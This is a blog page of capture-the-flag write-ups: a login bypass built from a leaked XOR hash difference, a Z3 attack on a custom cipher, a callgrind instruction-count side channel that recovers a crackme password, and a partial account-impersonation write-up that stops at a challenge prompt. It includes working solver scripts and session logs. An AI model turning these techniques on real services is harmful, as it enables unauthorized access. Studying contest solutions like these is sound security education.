Hack.lu Quals 2015 - Checkcheckcheck (crypto 150) Writeup

Hint:

We seem to have a small security problem with our new flag storage service. We already added a password login to it, with a fancy hash function, but somehow, these hackers still manage to log in. Something seems to be broken...

This challenge provided the C source code, mirrored here.

Studying the source code, it can be seen that the server does the following:

  1. Upon receiving a connection and forking, it calls the handle() method. Before any user interaction, this method reads a 32-byte password_salt and a 6-byte password_hash from disk.
  2. It loops, accepting commands from the user:
    • One command is "getflag" which checks the value of the logged_in variable to determine whether to give an error message or cat the flag file.
    • Another command is "login" followed by a password. The program does the following to process a login request:
      1. Hashes the password with the salt mentioned above. Hashing is done with SHA-256, truncated to 6 bytes.
      2. XORs the resulting hash with password_hash storing the value back into password_hash.
      3. Performs a constant-time check to see if the result of the XOR is all zero (and thus the entered password hashes to the same as the hash from disk). If so, it sets the logged_in variable to true. Otherwise, it gives an error and usefully provides us with the value of the XOR.

The main takeaways from this are that we are provided with the access of password_hash ^ hash(input_password), and that a failed login attempt overwrites password_hash with this value.

The first step is determining the desired password hash. If we attempt to login twice with the same password, the resulting XOR that is shown to us will be the initial desired password:

password_hash = desired_hash
// login attempt with "a"
password_hash = password_hash ^ hash("a") = desired_hash ^ hash("a")
// another login attempt with "a"
password_hash =  password_hash ^ hash("a") = desired_hash ^ hash("a") ^ hash("a") = desired_hash

That step is easy enough to do manually:

$ nc school.fluxfingers.net 1513
login a
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 33d5d6b96bbd
login a
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 785e64baad24
^C

So the desired password hash is 785e64baad24.

Next, we can derive what any password hashes to by XORing the resulting value of password_hash with the previous value. I wrote a script to automate this step, and gathered the hashes of all alphanumeric passwords of length one or two.

Now we need to find a subset of passwords whose hashes XORed together equals the desired hash. I tried a few unsuccessful methods until I remembered my Linear Algebra classes in college. What I was looking for was essentially a subset of the inputs that form a basis of addition in GF(2). Instead of trying to look specifically for a subset of hashes that XOR to the desired hash, look for XOR-subsets of inputs that could be combined to make any hash.

The program I wrote to finally solve this problem is:

  1 #!/usr/bin/perl
  2 
  3 use strict;
  4 use warnings;
  5 use diagnostics;
  6 use feature 'say';
  7 use Data::Dumper;
  8 
  9 my %hashes;
 10 
 11 sub numbits($)
 12 {
 13       my ($a) = @_;
 14       my $count = 0;
 15       while($a)
 16       {
 17               $count++ if($a&1);
 18               $a >>= 1;
 19       }
 20       return $count
 21 }
 22 
 23 sub remove_redundant(@)
 24 {
 25       my @values = @_;
 26       my %out_values;
 27       foreach my $value (@values)
 28       {
 29               if($out_values{$value})
 30               {
 31                       delete $out_values{$value};
 32               }
 33               else
 34               {
 35                       $out_values{$value} = 1;
 36               }
 37       }
 38       return keys %out_values;
 39 }
 40 
 41 sub reduce(@)
 42 {
 43       my @values = @_;
 44       @values = sort {$b <=> $a} @values;
 45       my @rows = map { {value=>$_, inputs=>[$_]} } @values;
 46 
 47       for my $i (0 .. $#rows - 1)
 48       {
 49               last if($rows[$i]->{value} == 0);
 50               my $i_leading0 = 48 - length(sprintf("%b", $rows[$i]->{value}));
 51               for my $j ($i + 1 .. $#rows)
 52               {
 53                       my $j_leading0 = 48 - length(sprintf("%b", $rows[$j]->{value}));
 54                       last if($j_leading0 > $i_leading0);
 55                       $rows[$j]->{value} ^= $rows[$i]->{value};
 56                       $rows[$j]->{inputs} = [ remove_redundant(@{$rows[$j]->{inputs}}, @{$rows[$i]->{inputs}}) ];
 57               }
 58               @rows = sort {
 59                       length(sprintf "%b", $b->{value}) <=> length(sprintf "%b", $a->{value}) or
 60                       index(sprintf("%b", $a->{value}), "0") <=> index(sprintf("%b", $b->{value}), "0")
 61               } @rows;
 62       }
 63       say STDERR join "\n", map { sprintf "%048b (%d)", $_->{value}, scalar(@{$_->{inputs}}) } (@rows);
 64       return @rows;
 65 }
 66 
 67 
 68 while(<>)
 69 {
 70       chomp;
 71       next unless(/^([0-9a-f]{12}) (.*)/);
 72       my ($hash, $pw) = ($1, $2);
 73       $hashes{hex($hash)} = $pw;
 74 }
 75 my @hashes_by_bits = sort {numbits($a) <=> numbits($b) } keys %hashes;
 76 my @rows = reduce(@hashes_by_bits[0 .. 99]);
 77 my $desired_hash = 0x785e64baad24;
 78 
 79 my $value = 0;
 80 my @inputs = ();
 81 while($value != $desired_hash)
 82 {
 83       printf STDERR "%012x\n%012x\n====\n", $value, $desired_hash;
 84       foreach my $row (@rows)
 85       {
 86               if(length(sprintf("%b",$desired_hash ^ $value)) == length(sprintf("%b", $row->{value})))
 87               {
 88                       $value ^= $row->{value};
 89                       @inputs = remove_redundant(@inputs, @{$row->{inputs}});
 90                       last;
 91               }
 92       }
 93 }
 94 
 95 foreach(@inputs)
 96 {
 97       say "login ".$hashes{$_};
 98       say STDERR "login ".$hashes{$_};
 99 }
100 say STDERR "getflag";
101 say "getflag";

Starting outside of the functions, lines 68 - 75 read in the password hashes retrieved earlier, stores them in $hashes, and sorts them by the number of bits set in the hash. Line 76 takes the 100 hashes (even though only 48 should be necessary) with the fewest set bits and passes that to the reduce function.

The reduce function determines the basis through a process similar to finding Row Echelon Form. Each value in @rows keeps track of a value and a list of the inputs that XOR together to make that value, initialized with the input hashes. After sorting the rows, it then enumerates through the rows from first to last, each time:

  1. XOR the current row with each of the rows below it that have the same number of leading zeros.
  2. Add this row's inputs to the lower row's inputs, removing redundant terms (any term XORed twice cancels out).
  3. Sort the rows.

To illustrate this concept on smaller inputs, the method would reduce the following random 6-bit values:

binary  decimal
001100  12
011101  29
011011  27
001000  8
110000  48
011010  26
001001  9
100001  33
101011  43
010111  23
001101  13
110101  53
100010  34
000001  1
110001  49
000101  5
001010  10
111111  63
001010  10
011001  25

into:

value  inputs
111111 (63)
010100 (43,63)
001111 (27,43,63)
000111 (43,8,63,27)
000011 (12,27,63,43)
000001 (27,12,33,63,8)
000001 (63,33,8,23)
000001 (43,8,23,53)
000001 (8,48,53,12)
000001 (48,12,63,10,8)
000000 ()
000000 (5,27,43,63,10)
000000 (10,8,25,27)
000000 (13,27,43,63,10,8)
000000 (27,12,34,63,10)
000000 (12,29,27,10)
000000 (10,63,43,27,12,9)
000000 (63,10,8,26,43,12)
000000 (49,8,10,63,12)
000000 (12,27,8,10,63,1,43)

Only the first 6 of those results are needed:

value  inputs
111111 (63)
010100 (43,63)
001111 (27,43,63)
000111 (43,8,63,27)
000011 (12,27,63,43)
000001 (27,12,33,63,8)

Any 6-bit number can be easily constructed by XORing a subset of those 6 values. And the resulting values are themselves combinations of the inputs listed in their rows.

Lines 79 - 93 then take the results of the reduce function and determines the input hashes that when XORed together results in the desired hash. It finally outputs the commands to solve the network challenge.

$ ./solve.pl hashes.remote.txt | nc school.fluxfingers.net 1513
111110000101000100000000101001010101100001000001 (1)
010000101101010100000101011001100110100001000011 (2)
001000001001011000011100110010110111100011110000 (2)
000100110100001010000001100011100000000001111100 (2)
000010111010101000111100100011100000100010101001 (2)
000001011111000000100001010010100000010010000110 (2)
000000101110110111111001001111011000000000011010 (5)
000000010101001001000010110100101010010000101101 (4)
000000001000111010100001101000110000010001010100 (6)
000000000101001110001000000001000011000100100110 (5)
000000000010011001010100110010001111110110100000 (6)
000000000001001111000110011001110100010011011001 (6)
000000000000100010000110001010100011010001100111 (9)
000000000000010111000010101110101010100110010011 (7)
000000000000001011110001111110111111110111101011 (7)
000000000000000101011000111001011100000111101101 (9)
000000000000000010000011010001111011100001010001 (6)
000000000000000001010001000000101111000011100011 (6)
000000000000000000100000100111111101000011001100 (12)
000000000000000000010000101010011101011100110100 (12)
000000000000000000001011010011000010001111010111 (10)
000000000000000000000101011100110010110001010001 (10)
000000000000000000000010011100011001111111100010 (13)
000000000000000000000001001101111100111000111110 (15)
000000000000000000000000100000100000000001011110 (12)
000000000000000000000000010100010111100110100011 (15)
000000000000000000000000001001111000101101111101 (10)
000000000000000000000000000100000000110011111101 (15)
000000000000000000000000000010100111011010101100 (17)
000000000000000000000000000001001100100000001010 (12)
000000000000000000000000000000101100111011100101 (15)
000000000000000000000000000000010110110011100100 (19)
000000000000000000000000000000001010110100000011 (12)
000000000000000000000000000000000100101110001111 (12)
000000000000000000000000000000000010001100011001 (21)
000000000000000000000000000000000001000110000100 (16)
000000000000000000000000000000000000101110111110 (20)
000000000000000000000000000000000000010110010111 (18)
000000000000000000000000000000000000001011111000 (17)
000000000000000000000000000000000000000101100111 (20)
000000000000000000000000000000000000000011111111 (23)
000000000000000000000000000000000000000001010111 (20)
000000000000000000000000000000000000000000101101 (24)
000000000000000000000000000000000000000000011111 (23)
000000000000000000000000000000000000000000001111 (20)
000000000000000000000000000000000000000000000111 (22)
000000000000000000000000000000000000000000000011 (24)
000000000000000000000000000000000000000000000001 (33)
000000000000000000000000000000000000000000000001 (26)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (24)
000000000000000000000000000000000000000000000001 (29)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (28)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (29)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (30)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (24)
000000000000000000000000000000000000000000000001 (23)
000000000000000000000000000000000000000000000001 (29)
000000000000000000000000000000000000000000000001 (22)
000000000000000000000000000000000000000000000001 (28)
000000000000000000000000000000000000000000000001 (26)
000000000000000000000000000000000000000000000001 (22)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (23)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (24)
000000000000000000000000000000000000000000000001 (32)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (23)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (23)
000000000000000000000000000000000000000000000001 (20)
000000000000000000000000000000000000000000000001 (30)
000000000000000000000000000000000000000000000001 (24)
000000000000000000000000000000000000000000000001 (23)
000000000000000000000000000000000000000000000001 (24)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (23)
000000000000000000000000000000000000000000000001 (24)
000000000000000000000000000000000000000000000001 (20)
000000000000000000000000000000000000000000000001 (28)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (24)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (29)
000000000000000000000000000000000000000000000001 (27)
000000000000000000000000000000000000000000000001 (23)
000000000000000000000000000000000000000000000001 (22)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000001 (25)
000000000000000000000000000000000000000000000000 (25)
000000000000 => 785e64baad24
42d505666843 => 785e64baad24
624319ad10b3 => 785e64baad24
7101982310cf => 785e64baad24
7aaba4ad1866 => 785e64baad24
78465d90987c => 785e64baad24
78559bf7dca5 => 785e64baad24
785d1ddde8c2 => 785e64baad24
785fec261529 => 785e64baad24
785eb4c3d4c4 => 785e64baad24
785e37846c95 => 785e64baad24
785e66869c76 => 785e64baad24
785e64f70394 => 785e64baad24
785e64a67a37 => 785e64baad24
785e64b676ca => 785e64baad24
785e64bc0066 => 785e64baad24
785e64b8c86c => 785e64baad24
785e64ba0689 => 785e64baad24
785e64baab8a => 785e64baad24
785e64baae1d => 785e64baad24
785e64baace5 => 785e64baad24
785e64baad82 => 785e64baad24
785e64baad7d => 785e64baad24
785e64baad2a => 785e64baad24
785e64baad25 => 785e64baad24
login 2W
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: c2da61799d26
login LI
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 634bf1f8b707
login Og
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 755ad1d88c94
login t1
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 0dfcb16aac84
login fi
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: a19dd8de8d84
login 33
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: b78cd3d858c4
login FZ
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 9fdcf1882861
login hz
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: ff9c7cfa1179
login Tl
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: e7caf42a1e6b
login L6
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: cddf24b81f3a
login eg
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 4dfe8c200d99
login Od
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 18ec8e4295dd
login lc
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 45ccee5371d7
login k
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 491aea7723f4
login VO
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 0b3a7ff02297
login w6
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 457ef7b4aae4
login Qq
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: e66866a622fe
login sx
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: f23930a248a6
login cf
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 6a71733050bd
login wV
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 7b694326cc14
login ZW
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: f239dba0849a
login 2T
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: 74b4df72cc1c
login IG
Whoops, that didn't work out. You probably mistyped your password, so you should try again. In case you want to debug the problem, here's the difference between the correct hash and the hash of what you entered: a7b050520c44
login dW
Login successful
getflag
Okay, sure! Let me grab that flag for you.
flag{more_MATH_than_crypto_but_thats_n0t_a_CATegory}

Posted on May 3, 2016, 11 p.m. by tecknicaltom

Defcamp CTF Quals 2015 - Custom Function Engineering (crypto 300) Writeup

Hint (with newlines added for publishing):

You are given the following ciphertext:

320b1c5900180a034c74441819004557415b0e0d1a316918011845524147384f5700264f48091e45

00110e41030d1203460b1d0752150411541b455741520544111d0000131e0159110f0c16451b0f1c

4a74120a170d460e13001e120a1106431e0c1c0a0a1017135a4e381b16530f330006411953664334

593654114e114c09532f271c490630110e0b0b

And you are also give the code used to encrypt it: encrypt.php. Show us some magic! :-)

This challenge does not have a specific flag format.

And the linked PHP script:

<?php

function xorIt($charOne, $charTwo)
{
      return $charOne ^ $charTwo;
}

function asciiValue($char)
{
      return ord($char);
}

function encrypt($plainText)
{
      $length = strlen($plainText);
      $space = 0xA;
      $cipherText = "";

      for ($i = 0; $i < $length; $i++) {
              if ($i + $space < $length - 1) {
                      $cipherText .= xorIt($plainText[$i], $plainText[$i + $space]);
              } else {
                      $cipherText .= xorIt($plainText[$i], $plainText[$space]);
              }

              $space = (asciiValue($plainText[$i]) % 2 == 0 ? $space + 1 : $space - 1);
      }

      return bin2hex($cipherText);
}

?>

I fought with this one off and on throughout most of the weekend, attempting to break it through cryptanalysis. It was obvious that the encryption was far from secure. The bytes of the ciphertext are just a XOR of two plaintext bytes each. It's obvious which plaintext bytes go into the first ciphertext byte, but after that, it's less obvious. It also gets a bit screwy near the end of the plaintext. Like many of the other teams' writeups that I've seen, I attempted a tree-based approach, trying to determine possible values for the progression of the space variable, but it seemed to take forever and branch into an unwieldy number of possibilities. Personally, during the rush of a CTF isn't when I do my best cryptanalysis.

So eventually on the final day of the CTF, I thought this might actually be a good exercise for a SMT solver. So I threw together the following solver with Z3py. I had to play a lot with the assumptions made about the unknowns: over-constrained and the problem was unsat, under-constrained and I got a garbage plaintext that may encrypt to the given ciphertext but which doesn't get me any points. Below is a commented version of the solver script:

#!/usr/bin/python

from z3 import *

ciphertext = [ 0x32, 0x0b, 0x1c, 0x59, 0x00, 0x18, 0x0a, 0x03, 0x4c, 0x74, 0x44, 0x18, 0x19, 0x00, 0x45, 0x57, 0x41, 0x5b, 0x0e, 0x0d, 0x1a, 0x31, 0x69, 0x18, 0x01, 0x18, 0x45, 0x52, 0x41, 0x47, 0x38, 0x4f, 0x57, 0x00, 0x26, 0x4f, 0x48, 0x09, 0x1e, 0x45, 0x00, 0x11, 0x0e, 0x41, 0x03, 0x0d, 0x12, 0x03, 0x46, 0x0b, 0x1d, 0x07, 0x52, 0x15, 0x04, 0x11, 0x54, 0x1b, 0x45, 0x57, 0x41, 0x52, 0x05, 0x44, 0x11, 0x1d, 0x00, 0x00, 0x13, 0x1e, 0x01, 0x59, 0x11, 0x0f, 0x0c, 0x16, 0x45, 0x1b, 0x0f, 0x1c, 0x4a, 0x74, 0x12, 0x0a, 0x17, 0x0d, 0x46, 0x0e, 0x13, 0x00, 0x1e, 0x12, 0x0a, 0x11, 0x06, 0x43, 0x1e, 0x0c, 0x1c, 0x0a, 0x0a, 0x10, 0x17, 0x13, 0x5a, 0x4e, 0x38, 0x1b, 0x16, 0x53, 0x0f, 0x33, 0x00, 0x06, 0x41, 0x19, 0x53, 0x66, 0x43, 0x34, 0x59, 0x36, 0x54, 0x11, 0x4e, 0x11, 0x4c, 0x09, 0x53, 0x2f, 0x27, 0x1c, 0x49, 0x06, 0x30, 0x11, 0x0e, 0x0b, 0x0b ]

length = len(ciphertext)
decrypt_len = length
plaintext = [ BitVec('p_%d'%i, 8) for i in range(0, length) ]
spaces = [ Int('sp_%d'%i) for i in range(0, length) ]

# the "space" value starts at 10, assume it doesn't deviate by more than 20
space_deviation = 20
min_space = 10-space_deviation
max_space = 10+space_deviation

s = Solver()
s.add(spaces[0] == 0xA)
for i in range(0, decrypt_len):

    # make some assumptions about the contents of the plaintext. otherwise, the solution it finds
    # is garbage that encrypts to the given ciphertext, but doesn't give me a flag
    s.add(Or(
        # plaintext is a symbol between space (0x20) and slash (0x2f)
        And(UGE(plaintext[i], ord(' ')), ULE(plaintext[i], ord('/'))),
        # plaintext is one of those symbols often in flags
        plaintext[i] == ord('{'),
        plaintext[i] == ord('}'),
        plaintext[i] == ord('_'),
        # plaintext is alphanumeric
        And(UGE(plaintext[i], ord('A')), ULE(plaintext[i], ord('Z'))),
        And(UGE(plaintext[i], ord('a')), ULE(plaintext[i], ord('z'))),
        And(UGE(plaintext[i], ord('0')), ULE(plaintext[i], ord('9')))
        ))

    # add assertions about what the next value of "space" will be, based on the current value
    # of "space" and the current plaintext
    if i != length-1:
        s.add(If(plaintext[i] & 1 == 0, spaces[i+1]==spaces[i]+1, spaces[i+1]==spaces[i]-1))

    # add assertions about our assumptions for the range of "space"
    s.add(spaces[i] <= max_space)
    s.add(spaces[i] >= min_space)

    # finally add assertion that we get the given ciphertext character based on the space value and
    # the unknown plaintext
    for sp in range(min_space, max_space+1):
        if(i + sp < length - 1):
            s.add(Implies(spaces[i] == sp, ciphertext[i] == plaintext[i] ^ plaintext[(i+sp+length)%length]))
        else:
            s.add(Implies(spaces[i] == sp, ciphertext[i] == plaintext[i] ^ plaintext[(sp+length)%length]))


print "Attempting to solve..."
print s.check()
m=s.model()

# print out the plaintext
print ''.join([chr(m[plaintext[i]].as_long()) for i in range(length)])

The script runs for about 2.5 minutes, and produces the following output:

Attempting to solve...
sat
Very well done you CTF pwner. Now I have to give you the reward for all this hard work or maybe guessing. The flag is cryptanalysis_is_hard

Posted on Oct. 14, 2015, 3:18 p.m. by tecknicaltom

CSAW 2015 - wyvern (reversing 500) Writeup

Hint:

There's a dragon afoot, we need a hero. Give us the dragon's secret and we'll give you a flag.

Running this program, it looks like it's going to be a fairly standard crackme:

$ ./wyvern_c85f1be480808a9da350faaa6104a19b
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
      brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret: no

[-] You have failed. The dragon's power, speed and intelligence was greater.

Taking a look at it in Hex-Rays, we see that it's a C++ program that calls fgets to input the string, then creates a std::string out of it, before calling start_quest to see if you've input the right thing.

std::operator<<<std::char_traits<char>>(
  &std::cout,
  (unsigned int)"Enter the dragon's secret: ",
  "Enter the dragon's secret: ");
fgets(&s, 257, stdin);
std::allocator<char>::allocator(&v8, 257LL);
std::string::string(&v9, &s, &v8);
std::allocator<char>::~allocator(&v8);
std::string::string((std::string *)&v7, (const std::string *)&v9);
v3 = start_quest((std::string *)&v7);
std::string::~string((std::string *)&v7);
if ( v3 == 0x1337 )
{
  std::string::string((std::string *)&v6, (const std::string *)&v9);
  reward_strength((unsigned __int64)&v6);
  std::string::~string((std::string *)&v6);
}
else
{
  std::operator<<<std::char_traits<char>>(
    &std::cout,
    (unsigned int)"\n[-] You have failed. The dragon's power, speed and intelligence was greater.\n",
    v4);
}

The start_quest method does all kinds of stuff with std::vectors, the input string, and some static buffers. It also calls another method called sanitize_input that looks even less fun to try to make sense of.

I hate reversing compiled C++. Let's see if we can find any shortcuts to make this less painful... Running the program through ltrace, we can see that one of the last things it does (given this input) before cleaning up is to call std::string::length() const which returns the length of the input string:

$ echo no | ltrace -C ./wyvern_c85f1be480808a9da350faaa6104a19b 3>&1 >/dev/null 2>&3 | tail
memmove(0x8d1100, "d\0\0\0\326\0\0\0\n\001\0\0q\001\0\0\241\001\0\0\017\002\0\0n\002\0\0\335\002\0\0"..., 64) = 0x8d1100
operator delete(void*)(0x8d10b0, 0x6102f8, 0x7fff1b5eb0a0, 0x8d10b0) = 0
std::string::length() const(0x7fff1b5eb668, 1, 0xffffffff, 0) = 3
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(0x7fff1b5eb668, 0xffffffff, 0, 0) = 1
std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)(0x6101e0, 0x40e75c, 1, 0) = 0x6101e0
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()(0x7fff1b5eb688, 0x40e700, 0x7fec595127d8, 0) = 0x8d1070
std::ios_base::Init::~Init()(0x610314, 0, 224, 0x7fec58d08d50) = 3
operator delete(void*)(0x8d1100, 0x6102f8, 0x7fff1b5eb510, 0x8d1100) = 1
std::ios_base::Init::~Init()(0x610310, 0, 160, 0x7fec58d08d10) = 0x7fec5952a100
+++ exited (status 0) +++

I'm gonna bet that the crackme is doing an initial length check and bailing since the input isn't the right length. To figure out the correct length, run the program under GDB, put a breakpoint on std::string::length() const and finish to get back to the calling scope.

   0x40469c <_Z11start_questSs+844>:  call   0x400f50 <_ZNKSs6lengthEv@plt>
=> 0x4046a1 <_Z11start_questSs+849>:  sub    rax,0x1
   0x4046a7 <_Z11start_questSs+855>:  mov    r9d,DWORD PTR ds:0x610138
   0x4046af <_Z11start_questSs+863>:  sar    r9d,0x2
   0x4046b3 <_Z11start_questSs+867>:  movsxd rcx,r9d
   0x4046b6 <_Z11start_questSs+870>:  cmp    rax,rcx

The call to the length method is at 0x4046a1. Then it subtracts one, presumably to remove the newline from the count, readies another value in rcx before comparing the string length to the value in rcx at 0x4046b6. Stepping down to the cmp and looking at the registers, we find the desired input length:

RAX: 0x2  # input length
RCX: 0x1c # desired input length

So the input to pass the crackme is 28 (0x1c) characters long.

At this point, I had a hunch that the program was checking the input character-by-character and I may be able to use a sidechannel to derive the password incrementally. I had never really done much with instruction counting, but a quick Google search showed that the callgrind tool in Valgrind would do the trick. A quick test confirmed my hunch and showed that the password began with "d":

$ for a in {a..z} {A..Z} ; do echo $a $(echo ${a}Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8 | valgrind --tool=callgrind ./wyvern_c85f1be480808a9da350faaa6104a19b 2>&1 | grep Collected) ; done
a ==13480== Collected : 1511690
b ==13484== Collected : 1511690
c ==13488== Collected : 1511690
d ==13492== Collected : 1522020
e ==13499== Collected : 1511690
f ==13503== Collected : 1511690
g ==13507== Collected : 1511690
h ==13511== Collected : 1511690
i ==13518== Collected : 1511690
j ==13522== Collected : 1511690
k ==13526== Collected : 1511690
l ==13530== Collected : 1511690
m ==13534== Collected : 1511690
n ==13538== Collected : 1511690
o ==13542== Collected : 1511690
p ==13548== Collected : 1511690
q ==13552== Collected : 1511690
r ==13556== Collected : 1511690
s ==13560== Collected : 1511690
t ==13564== Collected : 1511690
u ==13568== Collected : 1511690
v ==13572== Collected : 1511690
w ==13576== Collected : 1511690
x ==13580== Collected : 1511690
y ==13584== Collected : 1511690
z ==13588== Collected : 1511690
A ==13592== Collected : 1511690
B ==13596== Collected : 1511690
C ==13600== Collected : 1511690
D ==13604== Collected : 1511690
E ==13608== Collected : 1511690
F ==13614== Collected : 1511690
G ==13618== Collected : 1511690
H ==13622== Collected : 1511690
I ==13626== Collected : 1511690
J ==13630== Collected : 1511690
K ==13634== Collected : 1511690
L ==13638== Collected : 1511690
M ==13642== Collected : 1511690
N ==13646== Collected : 1511690
O ==13650== Collected : 1511690
P ==13654== Collected : 1511690
Q ==13658== Collected : 1511690
R ==13662== Collected : 1511690
S ==13666== Collected : 1511690
T ==13670== Collected : 1511690
U ==13674== Collected : 1511690
V ==13680== Collected : 1511690
W ==13684== Collected : 1511690
X ==13688== Collected : 1511690
Y ==13692== Collected : 1511690
Z ==13696== Collected : 1511690

So I threw together the following solver script. For some unknown reason, callgrind occasionally gives a different value than expected. If the solver sees more than one outlier for a given character of the password, it throws away that loop's values and tries again.

solve.pl

 1 #!/usr/bin/perl
 2 
 3 use strict;
 4 use warnings;
 5 use diagnostics;
 6 use feature 'say';
 7 use Data::Dumper;
 8 
 9 my $len = 28;
10 my $prefix = '';
11 
12 while(length($prefix) < $len)
13 {
14       my %values = ();
15       for my $char_val ( 0 .. 255 )
16       {
17               my $char = chr($char_val);
18               next unless($char =~ /[[:print:]]/);
19               my $pw = $prefix . $char;
20               $pw .= '-' x ($len - length($pw));
21               $pw =~ s/'/'"'"'/g;
22               my $result = `echo '$pw' | valgrind --tool=callgrind ./wyvern_c85f1be480808a9da350faaa6104a19b 2>&1 | grep Collected`;
23               say $pw;
24               if($result =~ /Collected : (\d+)/)
25               {
26                       push @{$values{$1}}, $char;
27               }
28       }
29       my @possibilities = map { $_->[0] } grep { scalar(@$_) == 1 } values %values;
30       if(scalar(@possibilities) != 1)
31       {
32               print Dumper(\@possibilities);
33               say "not a single outlier";
34       }
35       else
36       {
37               $prefix .= $possibilities[0];
38       }
39 }
40 say "Password: $prefix";

The script runs for a while, printing out all the passwords it attempts. As an aside, I absolutely love TV-style hacking scripts that find the answer character-by-character. The script eventually settles on the flag:

Password: dr4g0n_or_p4tric1an_it5_LLVM

Posted on Oct. 14, 2015, 11:48 a.m. by tecknicaltom

DEF CON CTF Quals 2015 - Access Control (Reverse Engineering 1) Writeup

Hint:

It's all about who you know and what you want.

access_control_server_f380fcad6e9b2cdb3c73c651824222dc.quals.shallweplayaga.me:17069

This challenge was a rather simple reversing problem. Me and Javantea worked on this.

When we connect to that site a connection id is returned to us, and we are expected to return a version. Since we didn't know the version to send we tried running the client. The client requests the user to enter something before it will connect, so we opened the client in hexrays. This showed that the client was expecting "hack the world". We ran the client again, entering the phrase and watched the communication with the server in wireshark.

With this we found that the communication worked as follows.

server: connection ID: {connectionid}

***Welcome to the ACME data retrieval service***
what version is your client?

client: version 3.11.54

server: hello...who is this?

client: grumpy

server: enter user password

client: {password which changes}

server: hello grumpy, what would you like to do?

client: list users

server: grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood
hello grumpy, what would you like to do?

client: print key

server: {access denied message}

Running this a couple of times we found that the password changed every time. As such we tried to impersonate the server. Looking at this in hexrays it was clear that the password was an xor of the user-name and connection id. But with the connection id offset by 0 to 3. This offset was probably based on something; however, since the password could be tried multiple times, it was easier to try the password at each offset.

Once we had a client that could log in as grumpy, which is the same user as the client provided, we took the list of users and tried logging in with each of them. With each user we logged in and we tried the command "print key". The full list of listed users was:

grumpy
mrvito
gynophage
selir
jymbolia
sirgoon
duchess
deadwood

The user duchess was the only user that seemed to be allowed to view the key, which we took as a reference to Archer. With this user we were presented with a challenge that looked similar to the generated passwords. That part of the connection is shown bellow:

server: connection ID: {connectionid}

***Welcome to the ACME data retrieval service***
what version is your client?

client: version 3.11.54

server: hello...who is this?

client: duchess

...

client: print key

server: challenge: {challenge value}
answer?

